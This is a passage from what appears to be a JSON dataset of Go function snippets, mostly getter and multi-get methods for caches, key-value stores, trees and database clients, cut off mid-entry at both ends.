*Graph) get(key string) *Node {\\n\\treturn g.nodes[key]\\n}\",\n \"func (bc *MemoryCache) GetMulti(names []string) []interface{} {\\n\\tvar rc []interface{}\\n\\tfor _, name := range names {\\n\\t\\trc = append(rc, bc.Get(name))\\n\\t}\\n\\treturn rc\\n}\",\n \"func (bc *MemoryCache) GetMulti(names []string) []interface{} {\\n\\tvar rc []interface{}\\n\\tfor _, name := range names {\\n\\t\\trc = append(rc, bc.Get(name))\\n\\t}\\n\\treturn rc\\n}\",\n \"func (nm *nodeMap) get(n node) *node {\\n\\tnm.Lock()\\n\\tm, ok := nm.nodes[n.hash]\\n\\tnm.Unlock()\\n\\n\\tif !ok {\\n\\t\\tm = &node{\\n\\t\\t\\thash: n.hash,\\n\\t\\t\\tstate: n.state,\\n\\t\\t}\\n\\n\\t\\tnm.Lock()\\n\\t\\tnm.nodes[n.hash] = m\\n\\t\\tnm.Unlock()\\n\\t}\\n\\n\\treturn m\\n}\",\n \"func (t *TreeStorage) Read(ctx context.Context, ids []compact.NodeID) ([][]byte, error) {\\n\\tkeys := make([]spanner.KeySet, 0, len(ids))\\n\\tfor _, id := range ids {\\n\\t\\tkeys = append(keys, spanner.Key{t.id, t.opts.shardID(id), packNodeID(id)})\\n\\t}\\n\\tkeySet := spanner.KeySets(keys...)\\n\\thashes := make([][]byte, 0, len(ids))\\n\\n\\titer := t.c.Single().Read(ctx, \\\"TreeNodes\\\", keySet, []string{\\\"NodeHash\\\"})\\n\\tif err := iter.Do(func(r *spanner.Row) error {\\n\\t\\tvar hash []byte\\n\\t\\tif err := r.Column(0, &hash); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\thashes = append(hashes, hash)\\n\\t\\treturn nil\\n\\t}); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn hashes, nil\\n}\",\n \"func (p *CassandraClient) MultigetSlice(keys [][]byte, column_parent *ColumnParent, predicate *SlicePredicate, consistency_level ConsistencyLevel) (r map[string][]*ColumnOrSuperColumn, err error) {\\n\\tif err = p.sendMultigetSlice(keys, column_parent, predicate, consistency_level); err != nil {\\n\\t\\treturn\\n\\t}\\n\\treturn p.recvMultigetSlice()\\n}\",\n \"func multiGetTags(ctx context.Context, keys []*datastore.Key, cb func(*datastore.Key, *model.Tag) error) error {\\n\\ttags := make([]model.Tag, len(keys))\\n\\tfor i, k := range keys {\\n\\t\\ttags[i] = model.Tag{\\n\\t\\t\\tID: k.StringID(),\\n\\t\\t\\tInstance: k.Parent(),\\n\\t\\t}\\n\\t}\\n\\n\\terrAt := func(idx int) error { return nil }\\n\\tif err := datastore.Get(ctx, tags); err != nil {\\n\\t\\tmerr, ok := err.(errors.MultiError)\\n\\t\\tif !ok {\\n\\t\\t\\treturn errors.Annotate(err, \\\"GetMulti RPC error when fetching %d tags\\\", len(tags)).Tag(transient.Tag).Err()\\n\\t\\t}\\n\\t\\terrAt = func(idx int) error { return merr[idx] }\\n\\t}\\n\\n\\tfor i, t := range tags {\\n\\t\\tswitch err := errAt(i); {\\n\\t\\tcase err == datastore.ErrNoSuchEntity:\\n\\t\\t\\tcontinue\\n\\t\\tcase err != nil:\\n\\t\\t\\treturn errors.Annotate(err, \\\"failed to fetch tag entity with key %s\\\", keys[i]).Err()\\n\\t\\t}\\n\\t\\tif err := cb(keys[i], &t); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (p NodeSet) Child() NodeSet {\\n\\tif p.Err != nil {\\n\\t\\treturn p\\n\\t}\\n\\treturn NodeSet{Data: &childNodes{p.Data}}\\n}\",\n \"func initChilds(values map[string]interface{}) map[string]interface{} {\\r\\n\\ttypeName := values[\\\"TYPENAME\\\"].(string)\\r\\n\\tstoreId := typeName[0:strings.Index(typeName, \\\".\\\")]\\r\\n\\tprototype, _ := GetServer().GetEntityManager().getEntityPrototype(typeName, storeId)\\r\\n\\tfor i := 0; i < len(prototype.Fields); i++ {\\r\\n\\t\\tif strings.HasPrefix(prototype.Fields[i], \\\"M_\\\") {\\r\\n\\t\\t\\tisBaseType := strings.HasPrefix(prototype.FieldsType[i], \\\"xs.\\\") || strings.HasPrefix(prototype.FieldsType[i], \\\"[]xs.\\\") || strings.HasPrefix(prototype.FieldsType[i], \\\"enum:\\\")\\r\\n\\t\\t\\tif !isBaseType {\\r\\n\\t\\t\\t\\tisRef := strings.HasSuffix(prototype.FieldsType[i], \\\":Ref\\\") || strings.HasSuffix(prototype.Fields[i], \\\"Ptr\\\")\\r\\n\\t\\t\\t\\tif !isRef {\\r\\n\\t\\t\\t\\t\\tv := reflect.ValueOf(values[prototype.Fields[i]])\\r\\n\\t\\t\\t\\t\\t// In case of an array of references.\\r\\n\\t\\t\\t\\t\\tif v.IsValid() {\\r\\n\\t\\t\\t\\t\\t\\tif v.Type().Kind() == reflect.Slice {\\r\\n\\t\\t\\t\\t\\t\\t\\tfor j := 0; j < v.Len(); j++ {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif v.Index(j).Type().Kind() == reflect.Interface {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif reflect.TypeOf(v.Index(j).Interface()).Kind() == reflect.String {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif Utility.IsValidEntityReferenceName(v.Index(j).Interface().(string)) {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tv_, err := getEntityByUuid(v.Index(j).Interface().(string))\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif err == nil {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvalues[prototype.Fields[i]].([]interface{})[j] = v_\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t} else {\\r\\n\\t\\t\\t\\t\\t\\t\\t// In case of a reference.\\r\\n\\t\\t\\t\\t\\t\\t\\tif v.Type().Kind() == reflect.String {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t// Here I will test if the value is a valid reference.\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif Utility.IsValidEntityReferenceName(v.String()) {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tv_, err := getEntityByUuid(v.String())\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif err == nil {\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvalues[prototype.Fields[i]] = v_\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\treturn values\\r\\n}\",\n \"func (db *DumbDB) GetMultiple(keys [][]byte, bucket string) (values [][]byte, err error) {\\n\\n\\terr = db.dbP.View(func(tx *bolt.Tx) error {\\n\\t\\tbkt := tx.Bucket([]byte(bucket))\\n\\t\\tif bkt == nil {\\n\\t\\t\\tdb.err_log.Println(\\\"Bucket not created yet.\\\")\\n\\t\\t\\treturn bolt.ErrBucketNotFound\\n\\t\\t}\\n\\n\\t\\tfor _, key := range keys {\\n\\t\\t\\tvalue := bkt.Get(key)\\n\\t\\t\\tif value != nil {\\n\\t\\t\\t\\tvalues = append(values, value)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tdb.err_log.Println(\\\"Could not find value for key:%s\\\", key)\\n\\t\\t\\t\\tvalues = nil\\n\\t\\t\\t\\treturn bolt.ErrInvalid\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Will return empty array if no error occurred\\n\\t\\treturn nil\\n\\t})\\n\\treturn\\n}\",\n \"func Retrieve(t *testing.T, tp *Tapestry) {\\n\\ttp.Lock()\\n\\tkey, _, err1 := tp.RandKey()\\n\\tnode, _, err2 := tp.RandNode()\\n\\n\\t//tests get functionality\\n\\tif err1 == nil && err2 == nil {\\n\\t\\tblob, err := node.Get(key)\\n\\t\\tif err != nil {\\n\\t\\t\\tErrorPrintf(t, \\\"%v during get %v (hash %v) from %v\\\", err, key, Hash(key), node)\\n\\t\\t} else if !bytes.Equal(blob, tp.Blobs[key]) {\\n\\t\\t\\tt.Errorf(\\\"Data corruption during get %v (hash %v) from %v\\\", key, Hash(key), node)\\n\\t\\t} else {\\n\\t\\t\\tOut.Printf(\\\"Get of key %v (hash %v) successful from %v\\\", key, Hash(key), node)\\n\\t\\t}\\n\\t}\\n\\ttp.Unlock()\\n}\",\n \"func (rc *Store) GetMulti(keys []string) [][]byte {\\n\\tvar rv [][]byte\\n\\tif rc.conn == nil {\\n\\t\\tif err := rc.connectInit(); err != nil {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\tmv, err := rc.conn.GetMulti(keys)\\n\\tif err == nil {\\n\\t\\tfor _, v := range mv {\\n\\t\\t\\trv = append(rv, v.Value)\\n\\t\\t}\\n\\t\\treturn rv\\n\\t}\\n\\treturn rv\\n}\",\n \"func (c *rawBridge) childLookup(out *fuse.EntryOut, n *Inode, context *fuse.Context) {\\n\\tn.Node().GetAttr((*fuse.Attr)(&out.Attr), n.Fileinfo(), context)\\n\\tn.mount.fillEntry(out)\\n\\n\\tout.NodeId, out.Generation = inodeMap.Register(&n.handled)\\n\\tn.EventNodeUsed()\\n\\tif Debug {\\n\\t\\tglog.V(0).Infoln(n.fileinfo.Name, \\\" childLookup,Register,EventNodeUsed\\\", out.NodeId, \\\" count:\\\", n.handled.count)\\n\\t}\\n\\tc.fsConn().verify()\\n\\tif out.Ino == 0 {\\n\\t\\tout.Ino = out.NodeId\\n\\t}\\n\\tif out.Nlink == 0 {\\n\\t\\t// With Nlink == 0, newer kernels will refuse link\\n\\t\\t// operations.\\n\\t\\tout.Nlink = 1\\n\\t}\\n}\",\n \"func (n NamespacedMerkleTree) Get(nID namespace.ID) [][]byte {\\n\\t_, start, end := n.foundInRange(nID)\\n\\treturn n.leaves[start:end]\\n}\",\n \"func (nemo *NEMO) HGetall(key []byte) ([][]byte, [][]byte, error) {\\n\\tvar n C.int\\n\\tvar fieldlist **C.char\\n\\tvar fieldlistlen *C.size_t\\n\\tvar vallist **C.char\\n\\tvar vallistlen *C.size_t\\n\\tvar cErr *C.char\\n\\tC.nemo_HGetall(nemo.c, goByte2char(key), C.size_t(len(key)), &n, &fieldlist, &fieldlistlen, &vallist, &vallistlen, &cErr)\\n\\tif cErr != nil {\\n\\t\\tres := errors.New(C.GoString(cErr))\\n\\t\\tC.free(unsafe.Pointer(cErr))\\n\\t\\treturn nil, nil, res\\n\\t}\\n\\n\\tif n == 0 {\\n\\t\\treturn nil, nil, nil\\n\\t}\\n\\treturn cstr2GoMultiByte(int(n), fieldlist, fieldlistlen), cstr2GoMultiByte(int(n), vallist, vallistlen), nil\\n}\",\n \"func (kvConn *KVConn) GetChildren(node string, parentHash string) (children []string) {\\n\\t// TODO\\n\\tlogger.Printf(\\\"GetChildren - Node %v ParentHash %v\\\\n\\\", node, parentHash)\\n\\targs := &types.GetChildrenArgs{Node: node, ParentHash: parentHash}\\n\\tvar reply types.GetChildrenReply\\n\\tfor i, n := range kvConn.nodes {\\n\\t\\tif n == node {\\n\\t\\t\\tcall := kvConn.clients[i].Go(\\\"ClientServer.GetChildren\\\", args, &reply, nil)\\n\\t\\t\\tselect {\\n\\t\\t\\tcase <-call.Done:\\n\\t\\t\\t\\treturn reply.Children\\n\\t\\t\\tcase <-time.After(2 * time.Second):\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\n\\t\\t}\\n\\t}\\n\\n\\treturn []string{\\\"\\\"}\\n}\",\n \"func (n *metadataNode) traverse(md []*api.PrefixMetadata, cb func(*metadataNode, []*api.PrefixMetadata) (bool, error)) error {\\n\\tn.assertFrozen()\\n\\n\\tif md == nil {\\n\\t\\tmd = n.metadata() // calculate from scratch\\n\\t} else {\\n\\t\\tif n.md != nil {\\n\\t\\t\\tmd = append(md, n.md) // just extend what we have\\n\\t\\t}\\n\\t}\\n\\n\\tswitch cont, err := cb(n, md); {\\n\\tcase err != nil:\\n\\t\\treturn err\\n\\tcase !cont:\\n\\t\\treturn nil\\n\\t}\\n\\n\\tkeys := make([]string, 0, len(n.children))\\n\\tfor k := range n.children {\\n\\t\\tkeys = append(keys, k)\\n\\t}\\n\\tsort.Strings(keys)\\n\\n\\tfor _, k := range keys {\\n\\t\\tif err := n.children[k].traverse(md, cb); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func d13getBranches(node *d13nodeT, branch *d13branchT, parVars *d13partitionVarsT) {\\n\\t// Load the branch buffer\\n\\tfor index := 0; index < d13maxNodes; index++ {\\n\\t\\tparVars.branchBuf[index] = node.branch[index]\\n\\t}\\n\\tparVars.branchBuf[d13maxNodes] = *branch\\n\\tparVars.branchCount = d13maxNodes + 1\\n\\n\\t// Calculate rect containing all in the set\\n\\tparVars.coverSplit = parVars.branchBuf[0].rect\\n\\tfor index := 1; index < d13maxNodes+1; index++ {\\n\\t\\tparVars.coverSplit = d13combineRect(&parVars.coverSplit, &parVars.branchBuf[index].rect)\\n\\t}\\n\\tparVars.coverSplitArea = d13calcRectVolume(&parVars.coverSplit)\\n}\",\n \"func (client *MemcachedClient4T) Gets(key string) (item common.Item, err error) {\\n\\titems, err := client.parse.Retrieval(\\\"gets\\\", []string{key})\\n\\n\\tif err == nil {\\n\\t\\tvar ok bool\\n\\t\\tif item, ok = items[key]; !ok {\\n\\t\\t\\terr = fmt.Errorf(\\\"Memcached : no data error\\\")\\n\\t\\t}\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (s *FrontendServer) Get(ctx context.Context, req *pb.GetRequest) (*pb.GetResponse, error) {\\n\\tvar err error\\n\\tvar returnErr error = nil\\n\\tvar returnRes *pb.GetResponse\\n\\tvar res *clientv3.GetResponse\\n\\tvar val string\\n\\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\\n\\tdefer cancel()\\n\\tkey := req.GetKey()\\n\\tswitch req.GetType() {\\n\\tcase utils.LocalData:\\n\\t\\tres, err = s.localSt.Get(ctx, key) // get the key itself, no hashes used\\n\\t\\t// log.Println(\\\"All local keys in this edge group\\\")\\n\\t\\t// log.Println(s.localSt.Get(ctx, \\\"\\\", clientv3.WithPrefix()))\\n\\tcase utils.GlobalData:\\n\\t\\tisHashed := req.GetIsHashed()\\n\\t\\tif s.gateway == nil {\\n\\t\\t\\treturn returnRes, fmt.Errorf(\\\"RangeGet request failed: gateway node not initialized at the edge\\\")\\n\\t\\t}\\n\\t\\tstate, err := s.gateway.GetStateRPC()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn returnRes, fmt.Errorf(\\\"failed to get state of gateway node\\\")\\n\\t\\t}\\n\\t\\tif state < dht.Ready { // could happen if gateway node was created but didnt join dht\\n\\t\\t\\treturn returnRes, fmt.Errorf(\\\"edge node %s not connected to dht yet or gateway node not ready\\\", s.print())\\n\\t\\t}\\n\\t\\t// log.Println(\\\"All global keys in this edge group\\\")\\n\\t\\t// log.Println(s.globalSt.Get(ctx, \\\"\\\", clientv3.WithPrefix()))\\n\\t\\tif !isHashed {\\n\\t\\t\\tkey = s.gateway.Conf.IDFunc(key)\\n\\t\\t}\\n\\t\\tans, er := s.gateway.CanStoreRPC(key)\\n\\t\\tif er != nil {\\n\\t\\t\\tlog.Fatalf(\\\"Get request failed: communication with gateway node failed\\\")\\n\\t\\t}\\n\\t\\tif ans {\\n\\t\\t\\tres, err = s.globalSt.Get(ctx, key)\\n\\t\\t} else {\\n\\t\\t\\tval, err = s.gateway.GetKVRPC(key)\\n\\t\\t}\\n\\t}\\n\\t// cancel()\\n\\treturnErr = checkError(err)\\n\\tif (res != nil) && (returnErr == nil) {\\n\\t\\t// TODO: what if Kvs returns more than one kv-pair, is that possible?\\n\\t\\tif len(res.Kvs) > 0 {\\n\\t\\t\\tkv := res.Kvs[0]\\n\\t\\t\\tval = string(kv.Value)\\n\\t\\t\\t// log.Printf(\\\"Key: %s, Value: %s\\\\n\\\", kv.Key, kv.Value)\\n\\t\\t\\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\\n\\t\\t} else {\\n\\t\\t\\treturnErr = status.Errorf(codes.NotFound, \\\"Key Not Found: %s\\\", req.GetKey())\\n\\t\\t}\\n\\t} else {\\n\\t\\tif returnErr == nil {\\n\\t\\t\\t// we already have the value from a remote group\\n\\t\\t\\treturnRes = &pb.GetResponse{Value: val, Size: int32(len(val))}\\n\\t\\t}\\n\\t}\\n\\treturn returnRes, returnErr\\n}\",\n \"func (c Redis) GetMulti(keys ...string) ([]cache.Item, error) {\\n\\tval, err := c.conn.MGet(keys...).Result()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\ti := []cache.Item{}\\n\\tfor _, v := range val {\\n\\t\\tvar err = cache.ErrCacheMiss\\n\\t\\tvar b []byte\\n\\t\\tif v != nil {\\n\\t\\t\\tb = []byte(v.(string))\\n\\t\\t\\terr = nil\\n\\t\\t}\\n\\n\\t\\ti = append(i, cache.NewItem(c.dec, b, err))\\n\\t}\\n\\n\\treturn i, nil\\n}\",\n \"func GetChildren(db *sql.DB, id int64) ([]Node, error) {\\n\\tvar sql bytes.Buffer\\n\\tsql.WriteString(selectSQL)\\n\\tsql.WriteString(\\\"pid=?\\\")\\n\\n\\trows, err := query(db, sql.String(), id)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tchildren := make([]Node, 0, len(rows))\\n\\tfor _, r := range rows {\\n\\t\\tchildren = append(children, Node{\\n\\t\\t\\tID: atoi64(r[\\\"id\\\"]),\\n\\t\\t\\tNode: r[\\\"node\\\"],\\n\\t\\t\\tParentID: atoi64(r[\\\"pid\\\"]),\\n\\t\\t\\tDepth: atoi(r[\\\"depth\\\"]),\\n\\t\\t\\tNumChildren: (atoi(r[\\\"rgt\\\"]) - atoi(r[\\\"lft\\\"]) - 1) / 2,\\n\\t\\t})\\n\\t}\\n\\treturn children, nil\\n}\",\n \"func (memtable *Memtable) Get(data Comparable) Comparable {\\n\\treturn get(memtable.Root, data)\\n}\",\n \"func (db *DB) Get(key string, bucket ...string) Value {\\n\\tdb.mux.RLock()\\n\\tdefer db.mux.RUnlock()\\n\\tb := &db.root\\n\\tfor _, bn := range bucket {\\n\\t\\tif b = b.Buckets[bn]; b == nil {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\treturn b.Get(key)\\n}\",\n \"func Get() []Metric {\\n\\tsingleton.mu.Lock()\\n\\thosts := singleton.hosts\\n\\tsingleton.mu.Unlock()\\n\\n\\treturn hosts\\n}\",\n \"func (entries Entries) get(key uint64) Entry {\\n\\ti := entries.search(key)\\n\\tif i == len(entries) {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif entries[i].Key() == key {\\n\\t\\treturn entries[i]\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (local *Node) Get(key string) ([]byte, error) {\\n\\t// Lookup the key\\n\\treplicas, err := local.Lookup(key)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif len(replicas) == 0 {\\n\\t\\treturn nil, fmt.Errorf(\\\"No replicas returned for key %v\\\", key)\\n\\t}\\n\\n\\t// Contact replicas\\n\\tvar errs []error\\n\\tfor _, replica := range replicas {\\n\\t\\tblob, err := replica.BlobStoreFetchRPC(key)\\n\\t\\tif err != nil {\\n\\t\\t\\terrs = append(errs, err)\\n\\t\\t}\\n\\t\\tif blob != nil {\\n\\t\\t\\treturn *blob, nil\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil, fmt.Errorf(\\\"Error contacting replicas, %v: %v\\\", replicas, errs)\\n}\",\n \"func (c *RolesChanges) get(id uint64) *client.NodeInfo {\\n\\tfor node := range c.State {\\n\\t\\tif node.ID == id {\\n\\t\\t\\treturn &node\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *Storage) MGet(keys ...[]byte) ([][]byte, error) {\\n\\tsnap := s.db.NewSnapshot()\\n\\topts := gorocksdb.NewDefaultReadOptions()\\n\\topts.SetSnapshot(snap)\\n\\n\\tdefer func() {\\n\\t\\ts.db.ReleaseSnapshot(snap)\\n\\t\\topts.Destroy()\\n\\t}()\\n\\n\\tvals := make([][]byte, len(keys))\\n\\tfor i, key := range keys {\\n\\t\\tb, err := s.db.GetBytes(opts, key)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tvals[i] = b\\n\\t}\\n\\n\\treturn vals, nil\\n}\",\n \"func (l *DList) get(i int) *dnode {\\n\\tif i < l.n/2 {\\n\\t\\tn := l.r.n\\n\\t\\tfor j := 0; j < i; j++ {\\n\\t\\t\\tn = n.n\\n\\t\\t}\\n\\t\\treturn n\\n\\t}\\n\\tn := l.r\\n\\tfor j := l.n; j > i; j-- {\\n\\t\\tn = n.p\\n\\t}\\n\\treturn n\\n}\",\n \"func (*GetField) Children() []sql.Expression {\\n\\treturn nil\\n}\",\n \"func (c *typeReflectCache) get() reflectCacheMap {\\n\\treturn c.value.Load().(reflectCacheMap)\\n}\",\n \"func (k Keeper) get(store sdk.KVStore, resourceHash hash.Hash) (*ownership.Ownership, error) {\\n\\titer := store.Iterator(nil, nil)\\n\\tvar own *ownership.Ownership\\n\\tfor iter.Valid() {\\n\\t\\tif err := k.cdc.UnmarshalBinaryLengthPrefixed(iter.Value(), &own); err != nil {\\n\\t\\t\\treturn nil, sdkerrors.Wrapf(sdkerrors.ErrJSONUnmarshal, err.Error())\\n\\t\\t}\\n\\t\\tif own.ResourceHash.Equal(resourceHash) {\\n\\t\\t\\titer.Close()\\n\\t\\t\\treturn own, nil\\n\\t\\t}\\n\\t\\titer.Next()\\n\\t}\\n\\titer.Close()\\n\\treturn nil, nil\\n}\",\n \"func (me *BST) Get(k Comparable) interface{} {\\n if node := bstGet(me.root, k); node != nil {\\n return node.value\\n }\\n return nil\\n}\",\n \"func (self *BpNode) put(key types.Hashable, value interface{}) (root *BpNode, err error) {\\n\\ta, b, err := self.insert(key, value)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t} else if b == nil {\\n\\t\\treturn a, nil\\n\\t}\\n\\t// else we have root split\\n\\troot = NewInternal(self.NodeSize())\\n\\troot.put_kp(a.keys[0], a)\\n\\troot.put_kp(b.keys[0], b)\\n\\treturn root, nil\\n}\",\n \"func (s *Storage) MGet(keys ...[]byte) ([][]byte, error) {\\n\\tvar values [][]byte\\n\\tfor _, key := range keys {\\n\\t\\tvalues = append(values, s.kv.Get(key))\\n\\t}\\n\\n\\treturn values, nil\\n}\",\n \"func (n *Node) Get(key string) *Node {\\n\\tfor _, node := range n.nodes {\\n\\t\\tif node.key == key {\\n\\t\\t\\treturn node\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (t *strideTable[T]) getOrCreateChild(addr uint8) *strideTable[T] {\\n\\tidx := hostIndex(addr)\\n\\tif t.entries[idx].child == nil {\\n\\t\\tt.entries[idx].child = new(strideTable[T])\\n\\t\\tt.refs++\\n\\t}\\n\\treturn t.entries[idx].child\\n}\",\n \"func GetMulti(ctx context.Context, kx interface{}) (RoleTypes, error) {\\n\\trts := make(RoleTypes)\\n\\tif kx, ok := kx.([]*datastore.Key); ok {\\n\\t\\trtx := make([]*RoleType, len(kx))\\n\\t\\t// RETURNED ENTITY LIMIT COULD BE A PROBLEM HERE !!!!!!!!!!!!!!!!!!!!!!!!!!\\n\\t\\terr := datastore.GetMulti(ctx, kx, rtx)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tfor i, v := range rtx {\\n\\t\\t\\tv.ID = kx[i].StringID()\\n\\t\\t\\trts[v.ID] = v\\n\\t\\t}\\n\\t\\treturn rts, err\\n\\t}\\n\\tq := datastore.NewQuery(\\\"RoleType\\\").\\n\\t\\tOrder(\\\"-Created\\\")\\n\\tfor it := q.Run(ctx); ; {\\n\\t\\trt := new(RoleType)\\n\\t\\tk, err := it.Next(rt)\\n\\t\\tif err == datastore.Done {\\n\\t\\t\\treturn rts, err\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn rts, err\\n\\t\\t}\\n\\t\\trt.ID = k.StringID()\\n\\t\\trts[rt.ID] = rt\\n\\t}\\n}\",\n \"func (s *Server) Get(ctx context.Context, req *datapb.GetReq) (*datapb.GetResp, error) {\\n\\tinstance := s.getGroupInstance(req.GroupId)\\n\\tif instance == nil {\\n\\t\\treturn nil, errors.New(fmt.Sprintf(\\\"group %s not found\\\", req.GroupId))\\n\\t}\\n\\tinstance.RLock()\\n\\tdefer instance.RUnlock()\\n\\tif instance.status != PRIMARY {\\n\\t\\treturn nil, errors.New(fmt.Sprintf(\\\"not leader, leader is %s\\\", instance.primary))\\n\\t}\\n\\t// commit at once, so no need to check commit sn\\n\\tv, err := instance.engine.Get(encodeDataKey(req.Key))\\n\\treturn &datapb.GetResp{\\n\\t\\tValue: v,\\n\\t}, err\\n}\",\n \"func (t *ArtNodeMinerRPC) GetChildrenRPC(args *shared.Args, reply *shared.GetChildrenReply) error {\\n\\t// TODO change blocks into existingBlockHashes eventually\\n\\tfmt.Println(\\\"Get Children RPC\\\")\\n\\tfmt.Println(childrenMap)\\n\\t_, ok := childrenMap[args.BlockHash]\\n\\tif !ok {\\n\\t\\t// if does not exists return empty reply\\n\\t\\treturn nil\\n\\t}\\n\\t// loop through list of blocks\\n\\treply.Data = childrenMap[args.BlockHash]\\n\\treply.Found = true\\n\\treturn nil\\n}\",\n \"func (m *Map) MGet(dots []Dot) map[Dot]*Container {\\n\\titems := make(map[Dot]*Container)\\n\\n\\tfor _, dot := range dots {\\n\\t\\tif !m.area.ContainsDot(dot) {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tp := atomic.LoadPointer(m.fields[dot.Y][dot.X])\\n\\t\\tif !fieldIsEmpty(p) {\\n\\t\\t\\tcontainer := (*Container)(p)\\n\\t\\t\\titems[dot] = container\\n\\t\\t}\\n\\t}\\n\\n\\treturn items\\n}\",\n \"func (t *Transaction) GetMulti(keys []*datastore.Key, dst interface{}) (err error) {\\n\\treturn t.txn.GetMulti(keys, dst)\\n}\",\n \"func (ck *Clerk) Get(key string) string {\\n\\targs := GetArgs{}\\n\\targs.Key = key\\n\\targs.ClientID = ck.clientID\\n\\targs.RequestID = ck.currentRPCNum\\n\\n\\n\\tfor {\\n\\t\\tshard := key2shard(key)\\n\\t\\tgid := ck.config.Shards[shard]\\n\\t\\t// If the gid exists in our current stored configuration. \\n\\t\\tif servers, ok := ck.config.Groups[gid]; ok {\\n\\t\\t\\t// try each server for the shard.\\n\\n\\t\\t\\t\\tselectedServer := ck.getRandomServer(gid)\\n\\t\\t\\t\\tsrv := ck.make_end(servers[selectedServer])\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tvar reply GetReply\\n\\t\\t\\t\\tok := ck.sendRPC(srv, \\\"ShardKV.Get\\\", &args, &reply)\\n\\n\\t\\t\\t\\t// Wrong Leader (reset stored leader)\\n\\t\\t\\t\\tif !ok || (ok && reply.WrongLeader == true) {\\n\\t\\t\\t\\t\\tck.currentLeader[gid] = -1\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Correct Leader\\n\\t\\t\\t\\tif ok && reply.WrongLeader == false {\\n\\t\\t\\t\\t\\t//Update stored Leader\\n\\t\\t\\t\\t\\tck.currentLeader[gid] = selectedServer\\n\\n\\t\\t\\t\\t\\t// Handle successful reply\\n\\t\\t\\t\\t\\tif (reply.Err == OK || reply.Err == ErrNoKey) {\\n\\t\\t\\t\\t\\t\\tck.DPrintf1(\\\"Action: Get completed. Sent Args => %+v, Received Reply => %+v \\\\n\\\", args, reply)\\n\\t\\t\\t\\t\\t\\t// RPC Completed so increment the RPC count by 1.\\n\\t\\t\\t\\t\\t\\tck.currentRPCNum = ck.currentRPCNum + 1\\n\\n\\n\\t\\t\\t\\t\\t\\treturn reply.Value\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Handle situation where wrong group.\\n\\t\\t\\t\\tif ok && (reply.Err == ErrWrongGroup) {\\n\\t\\t\\t\\t\\t// ask master for the latest configuration.\\n\\t\\t\\t\\t\\tck.config = ck.sm.Query(-1)\\n\\t\\t\\t\\t\\ttime.Sleep(100 * time.Millisecond)\\n\\t\\t\\t\\t}\\n\\n\\t\\t} else {\\n\\t\\t\\t// ask master for the latest configuration.\\n\\t\\t\\tck.config = ck.sm.Query(-1)\\n\\t\\t\\ttime.Sleep(100 * time.Millisecond)\\n\\t\\t}\\n\\t}\\n\\n\\tck.DError(\\\"Return from Get in ShardKV Client. Should never return from here.\\\")\\n\\treturn \\\"\\\"\\n}\",\n \"func (p TreeWriter) getFields(leaf *yaml.RNode) (treeFields, error) {\\n\\tfieldsByName := map[string]*treeField{}\\n\\n\\t// index nested and non-nested fields\\n\\tfor i := range p.Fields {\\n\\t\\tf := p.Fields[i]\\n\\t\\tseq, err := leaf.Pipe(&f)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, 